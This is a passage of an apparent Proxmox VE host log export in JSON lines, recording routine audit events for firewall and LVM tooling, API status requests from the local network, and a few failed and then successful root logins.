subj=unconfined key=\"exec\""} {"@timestamp":1781964285713,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964285.713:60380): table=filter family=7 entries=4 op=xt_replace pid=57976 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965255940,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965255.940:64834): table=filter family=7 entries=4 op=xt_replace pid=62284 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964789623,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781966375296,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.296:69458): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964762518,"@rawstring":"<30>Jun 20 15:12:42 pveproxy[1231]: worker 59916 started\n\u0000"} {"@timestamp":1781965708739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781966315886,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.886:69281): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe91e9c340 a1=6028a5569310 a2=6028a5562680 a3=5 items=1 ppid=66508 pid=66509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966361.316:69421): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705618,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.618:62241): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965071851,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965071.851:63979): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964148.100:59797): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964275570,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964275.570:60335): table=filter family=7 entries=4 op=xt_replace pid=57932 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965245787,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965245.787:64792): table=filter family=7 entries=4 op=xt_replace pid=62245 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966375290,"@rawstring":"node=pve type=EXECVE msg=audit(1781966375.290:69457): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964789623,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964762516,"@rawstring":"<30>Jun 20 15:12:42 pveproxy[1231]: starting 1 worker(s)\n\u0000"} {"@timestamp":1781965708739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781966311154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966311.154:69267): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966356.306:69418): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705612,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.612:62240): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965071836,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965071.836:63977): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964148.100:59796): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964265425,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964265.425:60293): table=filter family=7 entries=4 op=xt_replace pid=57893 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965235630,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965235.630:64747): table=filter family=7 entries=4 op=xt_replace pid=62201 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966374272,"@rawstring":"node=pve type=EXECVE msg=audit(1781966374.272:69456): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964788633,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964762515,"@rawstring":"<30>Jun 20 15:12:42 pveproxy[1231]: worker 41331 finished\n\u0000"} {"@timestamp":1781965708739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:27 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966311154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966311.154:69266): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966356297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966356.297:69415): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.608:62239): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965071832,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965071.832:63975): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964148.088:59794): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964255284,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964255.284:60251): table=filter family=7 entries=4 op=xt_replace pid=57854 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965225393,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965225.393:64705): table=filter family=7 entries=4 op=xt_replace pid=62162 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966374234,"@rawstring":"node=pve type=EXECVE msg=audit(1781966374.234:69455): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964787635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964762482,"@rawstring":"<30>Jun 20 15:12:42 pveproxy[41331]: worker exit\n\u0000"} {"@timestamp":1781965707757,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781966311147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966311.147:69264): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.201:69412): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5980098fde60 items=0 ppid=1156 pid=66627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964705605,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.605:62238): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965071640,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965071.640:63963): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964148.088:59793): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964236008,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964236.008:60167): table=filter family=7 entries=4 op=xt_replace pid=57774 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965215232,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965215.232:64663): table=filter family=7 entries=4 op=xt_replace pid=62123 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966371370,"@rawstring":"node=pve type=EXECVE msg=audit(1781966371.370:69454): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964786611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 846"} {"@timestamp":1781964680097,"@rawstring":"<30>Jun 20 15:11:20 pvedaemon[1215]: successful auth for user 'root@pam'\n\u0000"} {"@timestamp":1781965707757,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781966311146,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966311.146:69263): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355198,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.198:69411): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705604,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.604:62237): argc=1 a0=\"date\""} {"@timestamp":1781965071631,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965071.631:63961): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964145813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.813:59789): arch=c000003e syscall=59 success=no exit=-2 a0=7fff45eedce0 a1=595dc6355310 a2=595dc634e680 a3=5 items=1 ppid=57416 pid=57417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964225871,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964225.871:60125): table=filter family=7 entries=4 op=xt_replace pid=57735 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965206074,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965206.074:64621): table=filter family=7 entries=4 op=xt_replace pid=62084 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=EXECVE msg=audit(1781966371.356:69451): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964786611,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:05 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964673582,"@rawstring":"<27>Jun 20 15:11:13 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781965706713,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781966306140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966306.140:69261): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.194:69410): arch=c000003e syscall=59 success=yes exit=0 a0=5a954a66ad30 a1=5a954a676af0 a2=5a954a644680 a3=5 items=2 ppid=66620 pid=66626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705600,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.600:62235): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965053171,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.171:63862): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964145726,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.726:59771): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe2c5d1d50 a1=59e9d37053d0 a2=59e9d36e3680 a3=5 items=1 ppid=57397 pid=57398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964215735,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964215.735:60080): table=filter family=7 entries=4 op=xt_replace pid=57691 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965195900,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965195.900:64579): table=filter family=7 entries=4 op=xt_replace pid=62043 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966366340,"@rawstring":"node=pve type=EXECVE msg=audit(1781966366.340:69448): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964786611,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965706713,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781964671715,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966306140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966306.140:69260): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.191:69409): arch=c000003e syscall=59 success=yes exit=0 a0=5a95256faac8 a1=7ffc51a33e60 a2=5a954a644680 a3=5a95256de24e items=2 ppid=66620 pid=66622 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705594,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.594:62234): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965053166,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.166:63860): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964143.082:59761): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964205598,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964205.598:60038): table=filter family=7 entries=4 op=xt_replace pid=57652 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965185691,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965185.691:64537): table=filter family=7 entries=4 op=xt_replace pid=62004 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966366331,"@rawstring":"node=pve type=EXECVE msg=audit(1781966366.331:69445): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964784693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781965704701,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964669909,"@rawstring":"<27>Jun 20 15:11:09 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966306133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966306.133:69258): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.190:69408): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc51a33e20 a1=5a954a6663d0 a2=5a954a644680 a3=5 items=2 ppid=66620 pid=66621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705587,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.587:62233): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965053157,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.157:63857): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964143.082:59760): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964195462,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964195.462:59996): table=filter family=7 entries=4 op=xt_replace pid=57613 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965175515,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965175.515:64492): table=filter family=7 entries=4 op=xt_replace pid=61960 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365275,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.275:69441): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964783575,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:13:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781965704701,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964667910,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966306133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966306.133:69257): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.184:69406): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705582,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.582:62232): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965053158,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.158:63858): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964143.077:59758): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964185327,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964185.327:59954): table=filter family=7 entries=4 op=xt_replace pid=57574 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965165348,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965165.348:64450): table=filter family=7 entries=4 op=xt_replace pid=61921 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365271,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.271:69440): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964783575,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965704701,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964667910,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966305813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.813:69251): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe340542a0 a1=5d4a5b45a1c0 a2=5d4a5b438680 a3=5 items=1 ppid=66482 pid=66483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.178:69405): 